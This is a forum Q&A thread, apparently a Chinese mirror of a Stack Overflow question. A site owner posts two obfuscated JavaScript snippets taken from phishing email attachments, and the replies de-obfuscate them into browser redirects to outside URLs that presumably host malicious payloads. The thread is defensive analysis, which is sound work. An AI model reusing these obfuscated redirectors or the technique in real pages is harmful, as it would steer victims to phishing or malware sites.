代码之家 › 专栏 › 技术社区 › Nathan H

这个Javascript做什么?

phishing javascript

4

Nathan H · 技术社区 · 16 年前

我刚刚发现一个垃圾邮件发送者从我们的域名发送电子邮件,假装是我们,说:

尊敬的客户:,

此电子邮件由ourwebsite.com发送通知你我们暂时

我们有理由相信其他人。请运行附件并遵循指示。

(C) ourwebsite.com(我改了)

附件是一个HTML文件,包含以下javascript:

<script type='text/javascript'>function mD(){};this.aB=43719;mD.prototype = {i : function() {var w=new Date();this.j='';var x=function(){};var a='hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');var d=new Date();y="";aL="";var f=document;var s=function(){};this.yE="";aN="";var dL='';var iD=f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];this.v="v";var q=27427;var m=new Date();iD['hqrteqfH'.replace(/[Htqag]/g, '')]=a;dE='';k="";var qY=function(){};}};xO=false;var b=new mD(); yY="";b.i();this.xT='';</script>

另一封邮件有:

<script type='text/javascript'>function uK(){};var kV='';uK.prototype = {f : function() {d=4906;var w=function(){};var u=new Date();var hK=function(){};var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');var n=new Array();var e=function(){};var eJ='';t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];this.nH=false;eX=2280;dF="dF";var hN=function(){return 'hN'};this.g=6633;var a='';dK="";function x(b){var aF=new Array();this.q='';var hKB=false;var uN="";b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;this.qO=15083;uR='';var hB=new Date();s="s";}var dI=46541;gN=55114;this.c="c";nT="";this.bG=false;var m=new Date();var fJ=49510;x(t);this.y="";bL='';var k=new Date();var mE=function(){};}};var l=22739;var tL=new uK(); var p="";tL.f();this.kY=false;</script>

有人能告诉我它是干什么的吗?所以我们可以看看我们是否有漏洞,如果我们需要告诉我们的客户。。。

谢谢

4 回复 | 直到 16 年前

1

5

Community Mohan Dere 6 年前

回答:

document.location.href = "http://mvblaw.com/z.htm";    //Evil site (I assume)

它还包含大量无用的行来隐藏脚本的真正目的。

这是开箱的。

function mD() {};
this.aB = 43719;
mD.prototype = {
    i: function () {
        var w = new Date();
        this.j = '';
        var x = function () {};
        var a = 'hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');
        var d = new Date();
        y = "";
        aL = "";
        var f = document;
        var s = function () {};
        this.yE = "";
        aN = "";
        var dL = '';
        var iD = f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];
        this.v = "v";
        var q = 27427;
        var m = new Date();
        iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a;
        dE = '';
        k = "";
        var qY = function () {};
    }
};
xO = false;
var b = new mD();
yY = "";
b.i();
this.xT = '';

function TempClass() {};
this.aB = 43719;
TempClass.prototype = {
    doIt: function () {
        var w = new Date();
        this.j = '';
        var x = function () {};
        var a = "http://mvblaw.com/z.htm";    //Evil site (I assume)

        var d = new Date();
        y = "";
        aL = "";
        var f = document;
        var s = function () {};
        this.yE = "";
        aN = "";
        var dL = '';
        var iD = f['location'];
        this.v = "v";
        var q = 27427;
        var m = new Date();
        iD['href'] = a;
        dE = '';
        k = "";
        var qY = function () {};
    }
};
xO = false;
var b = new TempClass();
yY = "";
b.doIt();
this.xT = '';

去掉所有无用的行,它就变成

function TempClass() {};

TempClass.prototype = {
    doIt: function () {
        var a = "http://mvblaw.com/z.htm";    //Evil site (I assume)

        var f = document;
        var iD = f['location'];
        iD['href'] = a;
    }
};

var b = new TempClass();
b.doIt();

2

3

Christian C. Salvadó 16 年前

剧本已经完成了很多

function mD() {};
mD.prototype = {
  i: function () {
     // read between every two letters:
     var a = 'hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'
              .replace(/[gJG,\<]/g, '');
     var f = document;
     var iD = f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];
     iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a;
   }
};
var b = new mD();
b.i();

如果我们清理得更多:

function mD() {};
mD.prototype = {
  i: function () {
     var a = 'http://mvblaw.com/z.htm';
     var f = document;
     var iD = f['location'];
     iD['href'] = a;
   }
};
var b = new mD();
b.i();

更多信息:

function mD() {};
mD.prototype = {
  i: function () {
     document.location.href = 'http://mvblaw.com/z.htm';
   }
};
var b = new mD();
b.i();

3

egrunin 16 年前

没有天才,他们:

hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');

h t t p : / / m v b l a w . c o m / z . h t m


f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];

   l o c a t i o n

iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a;

    h r e f

甚至不需要通过regex运行:)

我假设他们入侵了mvblaw,然后偷偷地把有效负载页面放在那里。任何拥有虚拟机的人都想看看它能做什么?

4

0

paxdiablo 16 年前

基本上,它似乎设置 (document['location'])['href'] (或者,通常来说, document.location.href http://mvblaw.com/z.htm .

混淆代码非常简单,只需将噪声字符替换为零:

var a='hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');
    // a = http://mvblaw.com/z.htm
var f=document;
var iD=f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];
    // iD = document.location
iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a;
    // document.location.href = a (the URL above).